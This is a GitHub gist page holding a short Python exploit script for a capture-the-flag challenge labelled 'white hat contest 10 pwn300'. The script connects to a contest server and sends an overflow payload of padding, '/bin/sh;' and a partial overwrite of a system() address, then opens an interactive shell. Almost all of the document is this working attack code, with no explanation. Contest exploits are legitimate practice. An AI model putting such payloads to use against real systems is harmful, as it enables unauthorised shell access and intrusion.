Skip to content

Instantly share code, notes, and snippets.

@peternguyen93
Created July 27, 2015 13:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save peternguyen93/f2e5cd0685dbd3849010 to your computer and use it in GitHub Desktop.
Save peternguyen93/f2e5cd0685dbd3849010 to your computer and use it in GitHub Desktop.
white hat contest 10 pwn300
#!/usr/bin/python
from Pwn import *
# from Shellcode import *
p = Pwn(mode=1,host='lab33.wargame.whitehat.vn',port=10300)
def exploit():
payload = '<su>' + 'A'*127 + '<to>' + '/bin/sh;' + 'C'*120
payload+= p.pack(0x400A40)[:3] # system
payload+= '<suto>'
p.connect() # ok start to exploit
p.send(payload)
p.io() # interact with socket
exploit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment